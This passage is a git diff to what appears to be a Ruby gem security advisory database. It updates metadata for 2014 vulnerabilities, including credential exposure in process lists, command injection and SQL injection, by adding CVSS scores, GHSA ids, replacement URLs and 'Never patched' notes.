-  description: codders-dataset Gem for Ruby contains a flaw in /lib/dataset/database/mysql.rb
-    that is due to the application exposing credential information in plaintext in
-    the process table. This may allow a local attacker to gain access to credential
-    information.
+  description: |
+    "(1) lib/dataset/database/mysql.rb and (2) lib/dataset/database/postgresql.rb
+    in the codders-dataset gem 1.3.2.1 for Ruby place credentials on the mysqldump command
+    line, which allows local users to obtain sensitive information by listing the process."
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4992.md b/advisories/_posts/2014-06-30-CVE-2014-4992.md
index 94e74917..cdef48fa 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4992.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4992.md
@@ -9,10 +9,13 @@ advisory:
   gem: cap-strap
   cve: 2014-4992
   osvdb: 108574
-  url: http://osvdb.org/show/osvdb/108574
+  ghsa: pcm6-g2qp-9gw8
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4992
   title: cap-strap Gem for Ruby Process Table Local Plaintext Credential Disclosure
   date: 2014-06-30
-  description: cap-strap Gem for Ruby contains a flaw that is due to the application
+  description: |
+    cap-strap Gem for Ruby contains a flaw that is due to the application
     exposing credential information in plaintext in the process table listing. This
     may allow a local attacker to gain access to credential information.
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4993.md b/advisories/_posts/2014-06-30-CVE-2014-4993.md
index 05b72bbd..bfe595e6 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4993.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4993.md
@@ -9,7 +9,8 @@ advisory:
   gem: backup_checksum
   cve: 2014-4993
   osvdb: 108569
-  url: http://osvdb.org/show/osvdb/108569
+  ghsa: wr5j-q359-6vr2
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4993
   title: backup_checksum Gem for Ruby /lib/backup/cli/utility.rb Process List Local
     Plaintext Password Disclosure
   date: 2014-06-30
@@ -18,4 +19,5 @@ advisory:
     that is triggered as the program displays password information in plaintext
     in the process list. This may allow a local attacker to gain access to
     password information.
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4994.md b/advisories/_posts/2014-06-30-CVE-2014-4994.md
index 2fb70bd8..c56f29aa 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4994.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4994.md
@@ -9,12 +9,14 @@ advisory:
   gem: gyazo
   cve: 2014-4994
   osvdb: 108563
-  url: http://osvdb.org/show/osvdb/108563
+  ghsa: 6x45-86q6-rcmr
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4994
   title: gyazo Gem for Ruby client.rb Metacharacter Handling Remote Command Execution
   date: 2014-06-30
-  description: gyazo Gem for Ruby contains a flaw in client.rb that is triggered when
-    handling metacharacters. This may allow a remote attacker to execute arbitrary
-    commands.
+  description: |
+    gyazo Gem for Ruby contains a flaw in client.rb that is triggered when
+    handling metacharacters. This may allow a remote attacker to execute arbitrary commands.
+  cvss_v3: 5.5
   patched_versions:
   - ">= 2.0.0"
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4995.md b/advisories/_posts/2014-06-30-CVE-2014-4995.md
index c925a148..b3a71451 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4995.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4995.md
@@ -9,7 +9,8 @@ advisory:
   gem: VladTheEnterprising
   cve: 2014-4995
   osvdb: 108728
-  url: http://www.osvdb.org/show/osvdb/108728
+  ghsa: 86cf-g34f-7462
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4995
   title: VladTheEnterprising Gem for Ruby /tmp/my.cnf.#{target_host} Symlink Multiple
     Impact
   date: 2014-06-30
@@ -19,4 +20,5 @@ advisory:
     a symlink attack against the /tmp/my.cnf.#{target_host} file they can
     overwrite arbitrary files, gain access to the MySQL root password,
     or inject arbitrary commands.
+  cvss_v3: 7.0
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4996.md b/advisories/_posts/2014-06-30-CVE-2014-4996.md
index 6f0b2218..26da606d 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4996.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4996.md
@@ -9,7 +9,8 @@ advisory:
   gem: VladTheEnterprising
   cve: 2014-4996
   osvdb: 108728
-  url: http://www.osvdb.org/show/osvdb/108728
+  ghsa: x4vj-279x-qwf2
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4996
   title: VladTheEnterprising Gem for Ruby /tmp/my.cnf.#{target_host} Symlink Multiple
     Impact
   date: 2014-06-30
@@ -19,4 +20,5 @@ advisory:
     a symlink attack against the /tmp/my.cnf.#{target_host} file they can
     overwrite arbitrary files, gain access to the MySQL root password,
     or inject arbitrary commands.
+  cvss_v3: 5.5
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4997.md b/advisories/_posts/2014-06-30-CVE-2014-4997.md
index a699107e..061fd41a 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4997.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4997.md
@@ -9,11 +9,14 @@ advisory:
   gem: point-cli
   cve: 2014-4997
   osvdb: 108577
-  url: http://osvdb.org/show/osvdb/108577
+  ghsa: mc8m-x6hf-cw2g
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4997
   title: point-cli Gem for Ruby /lib/commands/setup.rb Process Table Local Plaintext
     Credential Disclosure
   date: 2014-06-30
-  description: point-cli Gem for Ruby contains a flaw in /lib/commands/setup.rb that
-    is due to the application exposing credential information in plaintext in the
-    process table. This may allow a local attacker to gain access to credential information.
+  description: |
+    point-cli Gem for Ruby contains a flaw in /lib/commands/setup.rb that
+    is due to the application exposing credential information in plaintext in the process
+    table. This may allow a local attacker to gain access to credential information.
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4998.md b/advisories/_posts/2014-06-30-CVE-2014-4998.md
index 3e01bfbc..10ef1259 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4998.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4998.md
@@ -9,12 +9,15 @@ advisory:
   gem: lean-ruport
   cve: 2014-4998
   osvdb: 108581
-  url: http://osvdb.org/show/osvdb/108581
+  ghsa: 5g7f-p7jg-v6mv
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4998
   title: lean-ruport Gem for Ruby /test/tc_database.rb Process Table Local Plaintext
     MySQL Password Disclosure
   date: 2014-06-30
-  description: lean-ruport Gem for Ruby contains a flaw in /test/tc_database.rb that
-    is due to the application exposing MySQL password information in plaintext in
-    the process table. This may allow a local attacker to gain access to MySQL password
+  description: |
+    lean-ruport Gem for Ruby contains a flaw in /test/tc_database.rb that
+    is due to the application exposing MySQL password information in plaintext in the
+    process table. This may allow a local attacker to gain access to MySQL password
     information.
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-4999.md b/advisories/_posts/2014-06-30-CVE-2014-4999.md
index e3b0bfc9..ac217304 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-4999.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-4999.md
@@ -9,7 +9,8 @@ advisory:
   gem: kajam
   cve: 2014-4999
   osvdb: 108529
-  url: http://osvdb.org/show/osvdb/108529
+  ghsa: 4ph7-5c44-pppv
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-4999
   title: kajam Gem for Ruby /dataset/lib/dataset/database/postgresql.rb Process List
     Local Plaintext Password Disclosure
   date: 2014-06-30
@@ -18,4 +19,5 @@ advisory:
     /dataset/lib/dataset/database/postgresql.rb that is triggered as the program
     exposes the MySQL or PostgreSQL password in the process list. This may allow
     a local attacker to gain access to password information.
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-5000.md b/advisories/_posts/2014-06-30-CVE-2014-5000.md
index f4df5ac9..5533867e 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-5000.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-5000.md
@@ -9,11 +9,14 @@ advisory:
   gem: lawn-login
   cve: 2014-5000
   osvdb: 108576
-  url: http://osvdb.org/show/osvdb/108576
+  ghsa: rhgq-vv9x-j4p5
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-5000
   title: lawn-login Gem for Ruby /lib/lawn.rb Process Table Local Plaintext Password
     Disclosure
   date: 2014-06-30
-  description: lawn-login Gem for Ruby contains a flaw in /lib/lawn.rb that is due
-    to the application exposing password information in plaintext in the process table.
+  description: |
+    lawn-login Gem for Ruby contains a flaw in /lib/lawn.rb that is due to
+    the application exposing password information in plaintext in the process table.
     This may allow a local attacker to gain access to password information.
+  cvss_v3: 7.8
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-5001.md b/advisories/_posts/2014-06-30-CVE-2014-5001.md
index 40893748..e7ff5f8b 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-5001.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-5001.md
@@ -9,11 +9,20 @@ advisory:
   gem: kcapifony
   cve: 2014-5001
   osvdb: 108571
-  url: http://osvdb.org/show/osvdb/108571
+  ghsa: 6fcq-3cm2-j3j5
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-5001
   title: kcapifony Gem for Ruby /lib/ksymfony1.rb Process List Local Plaintext Password
     Disclosure
   date: 2014-06-30
-  description: kcapifony Gem for Ruby contains a flaw in /lib/ksymfony1.rb that is
-    triggered as the program displays password information in plaintext in the process
-    list. This may allow a local attacker to gain access to password information.
+  description: |
+    kcapifony Gem for Ruby contains a flaw in /lib/ksymfony1.rb that is triggered
+    as the program displays password information in plaintext in the process list. This
+    may allow a local attacker to gain access to password information.
+  cvss_v2: 2.1
+  cvss_v3: 7.8
+  notes: Never patched
+  related:
+    url:
+    - http://www.vapid.dhs.org/advisories/kcapifony-2.1.6.html
+    - http://www.vapidlabs.com/advisory.php?v=65
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-5002.md b/advisories/_posts/2014-06-30-CVE-2014-5002.md
index ffbf55ad..2835a57a 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-5002.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-5002.md
@@ -9,11 +9,16 @@ advisory:
   gem: lynx
   cve: 2014-5002
   osvdb: 108580
-  url: http://osvdb.org/show/osvdb/108580
+  ghsa: 94cq-7ccq-cmcm
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-5002
   title: lynx Gem for Ruby command/basic.rb Process Table Local Plaintext Password
     Disclosure
   date: 2014-06-30
-  description: lynx Gem for Ruby contains a flaw in command/basic.rb that is due to
+  description: |
+    lynx Gem for Ruby contains a flaw in command/basic.rb that is due to
     the application exposing password information in plaintext in the process table.
     This may allow a local attacker to gain access to password information.
+  cvss_v3: 7.8
+  patched_versions:
+  - ">= 1.0.0"
 ---
diff --git a/advisories/_posts/2014-06-30-CVE-2014-5003.md b/advisories/_posts/2014-06-30-CVE-2014-5003.md
index c9d36cd2..2177980d 100644
--- a/advisories/_posts/2014-06-30-CVE-2014-5003.md
+++ b/advisories/_posts/2014-06-30-CVE-2014-5003.md
@@ -9,12 +9,15 @@ advisory:
   gem: ciborg
   cve: 2014-5003
   osvdb: 108586
-  url: http://osvdb.org/show/osvdb/108586
+  ghsa: g982-9r8g-6qxw
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-5003
   title: ciborg Gem for Ruby default.rb /tmp/perlbrew-installer Local Symlink File
     Overwrite
   date: 2014-06-30
-  description: ciborg Gem for Ruby contains a flaw as default.rb creates temporary
-    files insecurely. It is possible for a local attacker to use a symlink attack
-    against the /tmp/perlbrew-installer file to cause the program to unexpectedly
-    overwrite an arbitrary file.
+  description: |
+    ciborg Gem for Ruby contains a flaw as default.rb creates temporary files
+    insecurely. It is possible for a local attacker to use a symlink attack against
+    the /tmp/perlbrew-installer file to cause the program to unexpectedly overwrite
+    an arbitrary file.
+  cvss_v3: 5.5
 ---
diff --git a/advisories/_posts/2014-06-30-OSVDB-108529.md b/advisories/_posts/2014-06-30-OSVDB-108529.md
deleted file mode 100644
index a20e88ae..00000000
--- a/advisories/_posts/2014-06-30-OSVDB-108529.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-layout: advisory
-title: ! 'OSVDB-108529: Gain access to password information as local attacker'
-comments: false
-categories:
-- kajam
-advisory:
-  gem: kajam
-  osvdb: 108529
-  url: http://osvdb.org/show/osvdb/108529
-  title: Gain access to password information as local attacker
-  date: 2014-06-30
-  description: kajam Gem for Ruby contains a flaw in /dataset/lib/dataset/database/postgresql.rb
-    that is triggered as the program exposes the MySQL or PostgreSQL password in the
-    process list. This may allow a local attacker to gain access to password information.
-  cvss_v2: 
-  patched_versions: 
----
diff --git a/advisories/_posts/2014-06-30-OSVDB-108530.md b/advisories/_posts/2014-06-30-OSVDB-108530.md
index 614b8d3a..720f0594 100644
--- a/advisories/_posts/2014-06-30-OSVDB-108530.md
+++ b/advisories/_posts/2014-06-30-OSVDB-108530.md
@@ -8,13 +8,19 @@ categories:
 advisory:
   gem: kajam
   osvdb: 108530
-  url: http://osvdb.org/show/osvdb/108530
+  url: https://security.snyk.io/vuln/SNYK-RUBY-KAJAM-20171
   title: kajam Gem for Ruby /dataset/lib/dataset/database/postgresql.rb Metacharacter
     Handling Remote Command Execution
   date: 2014-06-30
   description: |
     kajam Gem for Ruby contains a flaw in
-    /dataset/lib/dataset/database/postgresql.rb that is triggered when handling
-    metacharacters. This may allow a remote attacker to execute arbitrary
-    commands.
+    /dataset/lib/dataset/database/postgresql.rb that is triggered
+    when handling metacharacters. This may allow a remote attacker
+    to execute arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - https://security.snyk.io/vuln/SNYK-RUBY-KAJAM-20171
+    - https://my.diffend.io/gems/kajam/1.0.3.rc2
+    - http://osvdb.org/show/osvdb/108530
 ---
diff --git a/advisories/_posts/2014-06-30-OSVDB-108569.md b/advisories/_posts/2014-06-30-OSVDB-108569.md
deleted file mode 100644
index 6a1ed823..00000000
--- a/advisories/_posts/2014-06-30-OSVDB-108569.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-layout: advisory
-title: ! 'OSVDB-108569: Gain access to password information'
-comments: false
-categories:
-- backup_checksum
-advisory:
-  gem: backup_checksum
-  osvdb: 108569
-  url: http://osvdb.org/show/osvdb/108569
-  title: Gain access to password information
-  date: 2014-06-30
-  description: backup_checksum Gem for Ruby contains a flaw in /lib/backup/cli/utility.rb
-    that is triggered as the program displays password information in plaintext in
-    the process list. This may allow a local attacker to gain access to password information.
-  cvss_v2: 
-  patched_versions: 
----
diff --git a/advisories/_posts/2014-06-30-OSVDB-108570.md b/advisories/_posts/2014-06-30-OSVDB-108570.md
index b6d2a834..e661ba40 100644
--- a/advisories/_posts/2014-06-30-OSVDB-108570.md
+++ b/advisories/_posts/2014-06-30-OSVDB-108570.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: backup_checksum
   osvdb: 108570
-  url: http://osvdb.org/show/osvdb/108570
+  url: https://www.openwall.com/lists/oss-security/2014/07/07/12
   title: backup_checksum Gem for Ruby /lib/backup/cli/utility.rb Metacharacter Handling
     Remote Command Execution
   date: 2014-06-30
@@ -16,4 +16,11 @@ advisory:
     backup_checksum Gem for Ruby contains a flaw in /lib/backup/cli/utility.rb
     that is triggered when handling metacharacters. This may allow a remote
     attacker to execute arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - https://www.openwall.com/lists/oss-security/2014/07/07/12
+    - https://my.diffend.io/gems/backup_checksum/3.0.23
+    - https://github.com/backup/backup
+    - http://osvdb.org/show/osvdb/108570
 ---
diff --git a/advisories/_posts/2014-06-30-OSVDB-108572.md b/advisories/_posts/2014-06-30-OSVDB-108572.md
index ef943006..28f231f9 100644
--- a/advisories/_posts/2014-06-30-OSVDB-108572.md
+++ b/advisories/_posts/2014-06-30-OSVDB-108572.md
@@ -8,11 +8,20 @@ categories:
 advisory:
   gem: kcapifony
   osvdb: 108572
-  url: http://osvdb.org/show/osvdb/108572
+  url: https://www.mend.io/vulnerability-database/WS-2014-0019
   title: kcapifony Gem for Ruby /lib/ksymfony1.rb Metacharacter Handling Remote Command
     Execution
   date: 2014-06-30
-  description: kcapifony Gem for Ruby contains a flaw in /lib/ksymfony1.rb that is
-    triggered when handling metacharacters. This may allow a remote attacker to execute
-    arbitrary commands.
+  description: |
+    kcapifony Gem for Ruby contains a flaw in /lib/ksymfony1.rb that
+    is triggered when handling metacharacters. This may allow a remote
+    attacker to execute arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - https://www.mend.io/vulnerability-database/WS-2014-0019
+    - https://github.com/Kunstmaan/kCapifony/blob/master/lib/ksymfony1.rb
+    - http://www.vapid.dhs.org/advisories/kcapifony-2.1.6.html
+    - http://www.vapidlabs.com/advisory.php?v=65
+    - http://osvdb.org/show/osvdb/108572
 ---
diff --git a/advisories/_posts/2014-06-30-OSVDB-108575.md b/advisories/_posts/2014-06-30-OSVDB-108575.md
index b4c90a41..091fb562 100644
--- a/advisories/_posts/2014-06-30-OSVDB-108575.md
+++ b/advisories/_posts/2014-06-30-OSVDB-108575.md
@@ -8,10 +8,19 @@ categories:
 advisory:
   gem: cap-strap
   osvdb: 108575
-  url: http://osvdb.org/show/osvdb/108575
+  url: https://www.openwall.com/lists/oss-security/2014/07/07/9
   title: cap-strap Gem for Ruby Hardcoded Password Crypt Hash Salt Weakness
   date: 2014-06-30
-  description: cap-strap Gem for Ruby contains a flaw that is due to the application
-    using a hardcoded default 'sa' salt for password encryption. This may allow a
-    local attacker to more easily decrypt passwords.
+  description: |
+    cap-strap Gem for Ruby contains a flaw that is due to the application
+    using a hardcoded default 'sa' salt for password encryption. This may
+    allow a local attacker to more easily decrypt passwords.
+  notes: Never patched
+  related:
+    url:
+    - https://www.openwall.com/lists/oss-security/2014/07/07/9
+    - https://github.com/substantial/cap-strap
+    - http://www.vapid.dhs.org/advisories/cap-strap-0.1.5.html
+    - http://www.vapidlabs.com/advisory.php?v=27
+    - http://osvdb.org/show/osvdb/108575
 ---
diff --git a/advisories/_posts/2014-06-30-OSVDB-108579.md b/advisories/_posts/2014-06-30-OSVDB-108579.md
index 98ea0993..a89fd571 100644
--- a/advisories/_posts/2014-06-30-OSVDB-108579.md
+++ b/advisories/_posts/2014-06-30-OSVDB-108579.md
@@ -8,9 +8,17 @@ categories:
 advisory:
   gem: lynx
   osvdb: 108579
-  url: http://osvdb.org/show/osvdb/108579
+  url: https://www.openwall.com/lists/oss-security/2014/07/07/23
   title: lynx Gem for Ruby lib/lynx/pipe/run.rb Remote Command Execution
   date: 2014-06-30
-  description: lynx Gem for Ruby contains a flaw in lib/lynx/pipe/run.rb that may
-    allow a remote attacker to execute arbitrary commands.
+  description: |
+    lynx Gem for Ruby contains a flaw in lib/lynx/pipe/run.rb that
+    may allow a remote attacker to execute arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - https://www.openwall.com/lists/oss-security/2014/07/07/23
+    - https://security.snyk.io/vuln/SNYK-RUBY-LYNX-20160
+    - https://github.com/panthomakos/lynx/blob/master/lib/lynx/pipe/run.rb
+    - http://osvdb.org/show/osvdb/108579
 ---
diff --git a/advisories/_posts/2014-06-30-OSVDB-108585.md b/advisories/_posts/2014-06-30-OSVDB-108585.md
index 4d4fa6b7..d9de9ee1 100644
--- a/advisories/_posts/2014-06-30-OSVDB-108585.md
+++ b/advisories/_posts/2014-06-30-OSVDB-108585.md
@@ -8,10 +8,18 @@ categories:
 advisory:
   gem: lingq
   osvdb: 108585
-  url: http://osvdb.org/show/osvdb/108585
+  url: https://www.versioneye.com/Ruby/lingq/0.3.1
   title: lingq Gem for Ruby client.rb Metacharacter Handling Remote Command Execution
   date: 2014-06-30
-  description: lingq Gem for Ruby contains a flaw in client.rb that is triggered when
-    handling metacharacters. This may allow a remote attacker to execute arbitrary
-    commands.
+  description: |
+    lingq Gem for Ruby contains a flaw in client.rb that is triggered
+    when handling metacharacters. This may allow a remote attacker
+    to execute arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - https://www.versioneye.com/Ruby/lingq/0.3.1
+    - http://www.vapid.dhs.org/advisories/lingq-0.3.1.html
+    - http://www.vapidlabs.com/advisory.php?v=71
+    - http://osvdb.org/show/osvdb/108585
 ---
diff --git a/advisories/_posts/2014-06-30-OSVDB-108593.md b/advisories/_posts/2014-06-30-OSVDB-108593.md
index bc28dfb9..dfd4d873 100644
--- a/advisories/_posts/2014-06-30-OSVDB-108593.md
+++ b/advisories/_posts/2014-06-30-OSVDB-108593.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: kompanee-recipes
   osvdb: 108593
-  url: http://osvdb.org/show/osvdb/108593
+  url: https://www.openwall.com/lists/oss-security/2014/07/07/17
   title: kompanee-recipes Gem for Ruby /lib/kompanee-recipes/heroku.rb Multiple Variable
     Handling Remote Command Execution Weakness
   date: 2014-06-30
@@ -18,4 +18,14 @@ advisory:
     metacharacters passed via the 'password', 'user', 'deploy_name', and
     'application' variables. This may allow a remote attacker to execute
     arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - https://www.openwall.com/lists/oss-security/2014/07/07/17
+    - https://seclists.org/oss-sec/2014/q3/162
+    - https://www.mend.io/vulnerability-database/WS-2014-0025
+    - https://security.snyk.io/vuln/SNYK-RUBY-KOMPANEERECIPES-20177
+    - http://www.vapid.dhs.org/advisories/kompanee-recipes-0.1.4.html
+    - http://www.vapidlabs.com/advisory.php?v=67
+    - http://osvdb.org/show/osvdb/108593
 ---
diff --git a/advisories/_posts/2014-06-30-OSVDB-108594.md b/advisories/_posts/2014-06-30-OSVDB-108594.md
index e75c4689..44ec6e6a 100644
--- a/advisories/_posts/2014-06-30-OSVDB-108594.md
+++ b/advisories/_posts/2014-06-30-OSVDB-108594.md
@@ -8,11 +8,18 @@ categories:
 advisory:
   gem: gnms
   osvdb: 108594
-  url: http://osvdb.org/show/osvdb/108594
+  url: http://www.vapidlabs.com/advisories/gnms-2.1.1.html
   title: gnms Gem for Ruby /lib/cmd_parse.rb ip Variable Shell Metacharacter Handling
     Remote Command Injection
   date: 2014-06-30
-  description: gnms Gem for Ruby contains a flaw in /lib/cmd_parse.rb that is triggered
-    when handling shell metacharacters passed via the 'ip' variable. This may allow
-    a remote attacker to inject arbitrary commands.
+  description: |
+    gnms Gem for Ruby contains a flaw in /lib/cmd_parse.rb that is triggered
+    when handling shell metacharacters passed via the 'ip' variable.
+    This may allow a remote attacker to inject arbitrary commands.
+  notes: Never patched
+  related:
+    url:
+    - http://www.vapidlabs.com/advisories/gnms-2.1.1.html
+    - http://www.vapidlabs.com/advisory.php?v=55
+    - http://osvdb.org/show/osvdb/108594
 ---
diff --git a/advisories/_posts/2014-07-02-CVE-2014-3482.md b/advisories/_posts/2014-07-02-CVE-2014-3482.md
index 44a3298e..56e696b4 100644
--- a/advisories/_posts/2014-07-02-CVE-2014-3482.md
+++ b/advisories/_posts/2014-07-02-CVE-2014-3482.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-3482 (activerecord): SQL Injection Vulnerability in Active Record'
+title: 'CVE-2014-3482 (activerecord): CVE-2014-3482 rubygem-activerecord: SQL injection
+  vulnerability in ''bitstring'' quoting'
 comments: false
 categories:
 - activerecord
@@ -10,16 +11,19 @@ advisory:
   framework: rails
   cve: 2014-3482
   osvdb: 108664
-  url: http://osvdb.org/show/osvdb/108664
-  title: SQL Injection Vulnerability in Active Record
+  ghsa: mhwp-qhpc-h3jm
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-3482
+  title: 'CVE-2014-3482 rubygem-activerecord: SQL injection vulnerability in ''bitstring''
+    quoting'
   date: 2014-07-02
   description: |
-    Ruby on Rails contains a flaw that may allow carrying out an SQL injection attack.
-    The issue is due to the PostgreSQL adapter for Active Record not properly
-    sanitizing user-supplied input when quoting bitstring. This may allow a remote
-    attacker to inject or manipulate SQL queries in the back-end database,
-    allowing for the manipulation or disclosure of arbitrary data.
-  cvss_v2: 
+    SQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+    in the PostgreSQL adapter for Active Record in Ruby on Rails 2.x and 3.x before
+    3.2.19 allows remote attackers to execute arbitrary SQL commands by leveraging improper
+    bitstring quoting. It was discovered that Active Record did not properly quote values
+    of the bitstring type attributes when using the PostgreSQL database adapter. A remote
+    attacker could possibly use this flaw to conduct an SQL injection attack against
+    applications using Active Record.
   unaffected_versions:
   - ">= 4.0.0"
   patched_versions:
diff --git a/advisories/_posts/2014-07-02-CVE-2014-3483.md b/advisories/_posts/2014-07-02-CVE-2014-3483.md
index 3329de4b..698c457d 100644
--- a/advisories/_posts/2014-07-02-CVE-2014-3483.md
+++ b/advisories/_posts/2014-07-02-CVE-2014-3483.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-3483 (activerecord): SQL Injection Vulnerability in Active Record'
+title: 'CVE-2014-3483 (activerecord): CVE-2014-3483 rubygem-activerecord: SQL injection
+  vulnerability in ''range'' quoting'
 comments: false
 categories:
 - activerecord
@@ -10,16 +11,19 @@ advisory:
   framework: rails
   cve: 2014-3483
   osvdb: 108665
-  url: http://osvdb.org/show/osvdb/108665
-  title: SQL Injection Vulnerability in Active Record
+  ghsa: r8fh-hq2p-7qhq
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-3483
+  title: 'CVE-2014-3483 rubygem-activerecord: SQL injection vulnerability in ''range''
+    quoting'
   date: 2014-07-02
   description: |
-    Ruby on Rails contains a flaw that may allow carrying out an SQL injection attack.
-    The issue is due to the PostgreSQL adapter for Active Record not properly
-    sanitizing user-supplied input when quoting ranges. This may allow a remote
-    attacker to inject or manipulate SQL queries in the back-end database,
-    allowing for the manipulation or disclosure of arbitrary data.
-  cvss_v2: 
+    SQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
+    in the PostgreSQL adapter for Active Record in Ruby on Rails 4.x before 4.0.7 and
+    4.1.x before 4.1.3 allows remote attackers to execute arbitrary SQL commands by
+    leveraging improper range quoting. It was discovered that Active Record did not
+    properly quote values of the range type attributes when using the PostgreSQL database
+    adapter. A remote attacker could possibly use this flaw to conduct an SQL injection
+    attack against applications using Active Record.
   unaffected_versions:
   - "< 4.0.0"
   patched_versions:
diff --git a/advisories/_posts/2014-07-09-CVE-2014-5004.md b/advisories/_posts/2014-07-09-CVE-2014-5004.md
index c706d3a1..15d6356b 100644
--- a/advisories/_posts/2014-07-09-CVE-2014-5004.md
+++ b/advisories/_posts/2014-07-09-CVE-2014-5004.md
@@ -9,11 +9,24 @@ advisory:
   gem: brbackup
   cve: 2014-5004
   osvdb: 108901
-  url: http://osvdb.org/show/osvdb/108901
+  ghsa: vqcm-7f7f-r539
+  url: http://www.vapid.dhs.org/advisories/brbackup-0.1.1.html
   title: brbackup Gem for Ruby Process List Local Plaintext Password Disclosure
   date: 2014-07-09
   description: |
     brbackup Gem for Ruby contains a flaw that is due to the program exposing
     password information in plaintext in the process list. This may allow a
     local attacker to gain access to password information.
+  cvss_v2: 2.1
+  cvss_v3: 7.8
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-5004
+    - http://www.vapid.dhs.org/advisories/brbackup-0.1.1.html
+    - http://www.vapidlabs.com/advisory.php?v=25
+    - http://www.openwall.com/lists/oss-security/2014/07/10/6
+    - http://www.openwall.com/lists/oss-security/2014/07/17/5
+    - http://www.securityfocus.com/bid/68506
+    - https://web.archive.org/web/20200229055655/https://www.securityfocus.com/bid/68506/
 ---
diff --git a/advisories/_posts/2014-07-09-OSVDB-108899.md b/advisories/_posts/2014-07-09-OSVDB-108899.md
index 7419237f..2eb2060b 100644
--- a/advisories/_posts/2014-07-09-OSVDB-108899.md
+++ b/advisories/_posts/2014-07-09-OSVDB-108899.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: brbackup
   osvdb: 108899
-  url: http://osvdb.org/show/osvdb/108899
+  url: https://www.openwall.com/lists/oss-security/2014/07/10/6
   title: brbackup Gem for Ruby /lib/brbackup.rb name Parameter SQL Injection
   date: 2014-07-09
   description: |
@@ -17,4 +17,13 @@ advisory:
     properly sanitizing user-supplied input to the 'name' parameter. This may
     allow a remote attacker to inject or manipulate SQL queries in the back-end
     database, allowing for the manipulation or disclosure of arbitrary data.
+  notes: Never patched
+  related:
+    url:
+    - https://www.openwall.com/lists/oss-security/2014/07/10/6
+    - https://raw.githubusercontent.com/codesake/codesake-dawn/master/Roadmap.md
+    - https://github.com/tongueroo/brbackup/blob/master/lib/brbackup.rb
+    - http://www.vapid.dhs.org/advisories/brbackup-0.1.1.html
+    - http://www.vapidlabs.com/advisory.php?v=25
+    - http://osvdb.org/show/osvdb/108899
 ---
diff --git a/advisories/_posts/2014-07-09-OSVDB-108900.md b/advisories/_posts/2014-07-09-OSVDB-108900.md
index d09e25e6..abb5a05c 100644
--- a/advisories/_posts/2014-07-09-OSVDB-108900.md
+++ b/advisories/_posts/2014-07-09-OSVDB-108900.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: brbackup
   osvdb: 108900
-  url: http://osvdb.org/show/osvdb/108900
+  url: https://www.openwall.com/lists/oss-security/2014/07/10/6
   title: brbackup Gem for Ruby dbuser Variable Shell Metacharacter Injection Remote
     Command Execution
   date: 2014-07-09
@@ -17,4 +17,12 @@ advisory:
     via the 'dbuser' variable is not properly sanitized. This may allow a
     remote attacker to inject shell metacharacters and execute arbitrary
     commands.
+  notes: Never patched
+  related:
